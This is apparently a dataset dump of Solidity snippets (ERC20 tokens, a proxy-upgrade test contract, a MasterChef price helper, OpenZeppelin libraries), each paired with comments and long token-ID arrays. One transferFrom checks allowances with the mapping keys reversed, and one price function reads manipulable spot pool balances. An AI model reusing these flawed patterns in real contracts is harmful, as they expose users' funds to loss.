4727,
16,
2254,
5034,
14467,
4727,
2171,
16,
2254,
5034,
23024,
4727,
13,
203,
202,
95,
203,
202,
202,
11890,
5034,
2078,
38,
15318,
273,
366,
355,
536,
77,
8924,
18,
27151,
10726,
12,
27151,
2934,
4963,
38,
15318,
31,
203,
202,
202,
11890,
5034,
2078,
3088,
1283,
273,
366,
355,
536,
77,
8924,
18,
27151,
10726,
12,
27151,
2934,
4963,
3088,
1283,
31,
203,
202,
202,
70,
15318,
4727,
273,
13667,
10726,
63,
27151,
8009,
70,
15318,
4727,
31,
203,
203,
202,
202,
430,
261,
4963,
3088,
1283,
422,
374,
13,
288,
203,
1082,
202,
2859,
1283,
4727,
2171,
273,
374,
31,
203,
202,
202,
97,
203,
202,
202,
12107,
288,
203,
1082,
202,
11890,
5034,
2078,
29281,
1265,
38,
15318,
273,
2078,
38,
15318,
18,
16411,
12,
70,
15318,
4727,
1769,
203,
1082,
202,
11890,
5034,
1169,
8127,
414,
9535,
273,
2078,
29281,
1265,
38,
15318,
18,
16411,
12,
27151,
10726,
63,
27151,
8009,
2859,
8127,
414,
9535,
4727,
1769,
203,
1082,
202,
2859,
8127,
414,
9535,
273,
1169,
8127,
414,
9535,
18,
2892,
12,
5141,
31809,
1769,
203,
1082,
202,
2859,
1283,
4727,
2171,
273,
1169,
8127,
414,
9535,
18,
2892,
12,
4963,
3088,
1283,
1769,
203,
202,
202,
97,
203,
202,
202,
17401,
8240,
4727,
273,
13667,
10726,
63,
27151,
8009,
17401,
8240,
4727,
31,
203,
202,
97,
203,
203,
203,
2,
-100,
-100,
-100,
-100
] |
./full_match/3/0x449f1ce4575f49041965da27043BAdb887Cff848/sources/browser/MyToken.sol | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract MyToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "MYT";
name = "MyToken";
decimals = 0;
_totalSupply = 100000000;
balances[0x0A04b1C2840974B2cB06fbC6FDc40EE7fE9B9851] = _totalSupply;
emit Transfer(address(0), 0x0A04b1C2840974B2cB06fbC6FDc40EE7fE9B9851, _totalSupply);
}
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 8,216,034 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
8005,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
22114,
56,
14432,
203,
3639,
508,
273,
315,
12062,
1345,
14432,
203,
3639,
15105,
273,
374,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
9449,
31,
203,
3639,
324,
26488,
63,
20,
92,
20,
37,
3028,
70,
21,
39,
22,
5193,
5908,
5608,
38,
22,
71,
38,
7677,
19192,
39,
26,
16894,
71,
7132,
9383,
27,
74,
41,
29,
38,
29,
7140,
21,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
374,
92,
20,
37,
3028,
70,
21,
39,
22,
5193,
5908,
5608,
38,
22,
71,
38,
7677,
19192,
39,
26,
16894,
71,
7132,
9383,
27,
74,
41,
29,
38,
29,
7140,
21,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
3849,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
3849,
2
] |
pragma solidity ^0.4.24;
import "./ContractInterface.sol";
import "contracts/proxy/Upgradeable.sol";
contract ContractV2Bad is ContractInterface, Upgradeable {
event EventV1(uint256 value);
uint public storageValue;
string public dynamicallySizedValue;
uint public fakeValue;
uint[] arrayValues;
mapping (uint => uint) mappingValues;
uint[] public mappingIndices;
// Test struct which used in arrays
struct Structure1 {
uint value;
uint[] arrayValues;
}
Structure1[] public arrayStructures;
// Test struct which used in mappings
struct Structure2 {
uint value;
uint[] arrayValues;
}
mapping (uint => Structure2) public mappingStructures;
uint public mappingStructuresLength;
function returnValue() public pure returns (uint) {}
function setStorageValue(uint) public {}
function getStorageValue() public view returns (uint) {
return storageValue;
}
function setDynamicallySizedValue(string) public {}
function getDynamicallySizedValue() public view returns (string) {}
function pushArrayValue(uint) public {}
function getArrayValue(uint _index) public view returns (uint) {
return arrayValues[_index];
}
function getArrayValueLength() public view returns (uint) {
return arrayValues.length;
}
function setMappingValue(uint, uint) public {}
function getMappingValue(uint _index) public view returns (uint) {
return mappingValues[_index];
}
function getStructureLength1() public view returns (uint) {
return arrayStructures.length;
}
function pushStructureValue1(uint) public {}
function getStructureValue1(uint _index) public view returns (uint) {
return arrayStructures[_index].value;
}
function getStructureArrayLength1(uint _index) public view returns (uint) {
return arrayStructures[_index].arrayValues.length;
}
function pushStructureArrayValue1(uint, uint) public {}
function getStructureArrayValue1(uint _index, uint _arrayIndex) public view returns (uint) {
return arrayStructures[_index].arrayValues[_arrayIndex];
}
function getStructureLength2() public view returns (uint) {
return mappingStructuresLength;
}
function pushStructureValue2(uint) public {}
function getStructureValue2(uint _index) public view returns (uint) {
return mappingStructures[_index].value;
}
function getStructureArrayLength2(uint _index) public view returns (uint) {
return mappingStructures[_index].arrayValues.length;
}
function pushStructureArrayValue2(uint, uint) public {}
function getStructureArrayValue2(uint _index, uint _arrayIndex) public view returns (uint) {
return mappingStructures[_index].arrayValues[_arrayIndex];
}
function verifyState(address) public {}
function finishUpgrade(address) public {}
}
| Test struct which used in mappings | struct Structure2 {
uint value;
uint[] arrayValues;
}
mapping (uint => Structure2) public mappingStructures;
uint public mappingStructuresLength;
| 978,441 | [
1,
4709,
1958,
1492,
1399,
316,
7990,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
13348,
22,
288,
203,
3639,
2254,
460,
31,
203,
3639,
2254,
8526,
526,
1972,
31,
203,
565,
289,
203,
565,
2874,
261,
11890,
516,
13348,
22,
13,
1071,
2874,
3823,
1823,
31,
203,
565,
2254,
1071,
2874,
3823,
1823,
1782,
31,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x3cF8f446865F3b27D40D6d1D919b3F6f4F784054/sources/browser/MasterChef.sol | Internal view function to get the current price of MKB on Uniswap | function _getMkbPrice() internal view returns (uint256 mkbPrice) {
uint256 mkbBalance = mkb.balanceOf(mkbPoolAddress);
if (mkbBalance > 0) {
mkbPrice = 10**18 * weth.balanceOf(mkbPoolAddress) / mkbBalance;
}
}
| 8,104,101 | [
1,
3061,
1476,
445,
358,
336,
326,
783,
6205,
434,
490,
16024,
603,
1351,
291,
91,
438,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
49,
8899,
5147,
1435,
2713,
1476,
1135,
261,
11890,
5034,
5028,
70,
5147,
13,
288,
203,
3639,
2254,
5034,
5028,
70,
13937,
273,
5028,
70,
18,
12296,
951,
12,
81,
8899,
2864,
1887,
1769,
203,
3639,
309,
261,
81,
8899,
13937,
405,
374,
13,
288,
203,
5411,
5028,
70,
5147,
273,
1728,
636,
2643,
380,
341,
546,
18,
12296,
951,
12,
81,
8899,
2864,
1887,
13,
342,
5028,
70,
13937,
31,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x8ba502354f5B1E5Bca5650DCA7e7588dE0FdE7d2/sources/contracts/ERC20.sol | function -- transferFrom -- takes the _from , _to -- this is for the spender --think like you are the agent for example you are the uniswap | function transferFrom (address _from ,address _to ,uint256 _value)public returns(bool){
require(_allowances[msg.sender][_from] >= _value,"you dont have enough allowance to transfer");
require((_balances[_from] >= _value)&&(_balances[_from]> 0),"you dont have sufficient balance");
_balances[_from] -= _value ;
_balances[_to] += _value ;
_allowances[msg.sender][_from] -= _value ;
emit Transfer(_from ,_to ,_value);
return true ;
}
| 5,548,695 | [
1,
915,
1493,
7412,
1265,
1493,
5530,
326,
389,
2080,
269,
389,
869,
225,
1493,
333,
353,
364,
326,
17571,
264,
1493,
451,
754,
3007,
1846,
854,
326,
4040,
364,
3454,
1846,
854,
326,
640,
291,
91,
438,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1265,
261,
2867,
389,
2080,
269,
2867,
389,
869,
269,
11890,
5034,
389,
1132,
13,
482,
1135,
12,
6430,
15329,
203,
3639,
2583,
24899,
5965,
6872,
63,
3576,
18,
15330,
6362,
67,
2080,
65,
1545,
389,
1132,
10837,
19940,
14046,
1240,
7304,
1699,
1359,
358,
7412,
8863,
203,
3639,
2583,
12443,
67,
70,
26488,
63,
67,
2080,
65,
1545,
389,
1132,
13,
10,
10,
24899,
70,
26488,
63,
67,
2080,
65,
34,
374,
3631,
6,
19940,
14046,
1240,
18662,
11013,
8863,
203,
3639,
389,
70,
26488,
63,
67,
2080,
65,
3947,
389,
1132,
274,
203,
3639,
389,
70,
26488,
63,
67,
869,
65,
1011,
389,
1132,
274,
203,
3639,
389,
5965,
6872,
63,
3576,
18,
15330,
6362,
67,
2080,
65,
3947,
389,
1132,
274,
203,
3639,
3626,
12279,
24899,
2080,
269,
67,
869,
269,
67,
1132,
1769,
203,
3639,
327,
638,
274,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// Author: nonera.lt || https://github.com/zekronium
// ERC721A Creators: https://www.erc721a.org/
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
